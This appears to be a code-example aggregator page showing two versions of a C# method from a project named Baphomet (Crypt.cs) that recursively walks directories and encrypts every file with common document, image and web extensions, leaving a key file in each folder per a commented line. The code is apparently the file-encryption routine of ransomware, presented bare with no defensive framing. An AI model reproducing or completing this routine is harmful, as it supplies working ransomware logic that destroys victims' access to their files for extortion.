예제 #1
0
파일: Crypt.cs 프로젝트: hackdou/Baphomet
        //recorro los directorios
        public void directoryRoad(string targetPath, string key)
        {
            CryptRSA cryptRSA = new CryptRSA();

            var extensionCheck = new[] { ".txt", ".jpg", ".png", ".php", ".xlsx", ".pdf" };//Extensiones validas

            cryptRSA.EncryptText(targetPath, key);

            // File.WriteAllText(targetPath + "\\yourkey.key", encryptedKey);//escribo la llave en cada uno de los directorios

            string[] files   = Directory.GetFiles(targetPath);
            string[] subDirs = Directory.GetDirectories(targetPath);
            try
            {
                for (int i = 0; i < files.Length; i++)
                {
                    var extension = Path.GetExtension(files[i]);
                    if (extensionCheck.Contains(extension))
                    {
                        encryptFileData(files[i], key, targetPath);
                    }
                }

                for (int i = 0; i < subDirs.Length; i++)
                {
                    directoryRoad(subDirs[i], key);
                }
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex.Message);
            }
        }
예제 #2
0
        //recorro los directorios a cifrar.
        public void directoryRoad(string targetPath, string key)
        {
            CryptRSA cryptRSA = new CryptRSA();

            var extensionCheck = new[] { "<extensions list here>" };//Extensiones validas para cifrar

            cryptRSA.EncryptText(targetPath, key);

            // File.WriteAllText(targetPath + "\\yourkey.key", encryptedKey);//escribo la llave en cada uno de los directorios

            string[] files   = Directory.GetFiles(targetPath);       //obtengo todos los archivos del directorio en el que me encuentro.
            string[] subDirs = Directory.GetDirectories(targetPath); //obtengo los subdirectorios del directorio en el que me encuentro.
            try
            {
                for (int i = 0; i < files.Length; i++)
                {
                    var extension = Path.GetExtension(files[i]);
                    if (extensionCheck.Contains(extension))
                    {
                        encryptFileData(files[i], key, targetPath);
                    }
                }

                for (int i = 0; i < subDirs.Length; i++)
                {
                    directoryRoad(subDirs[i], key);
                }
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex.Message);
            }
        }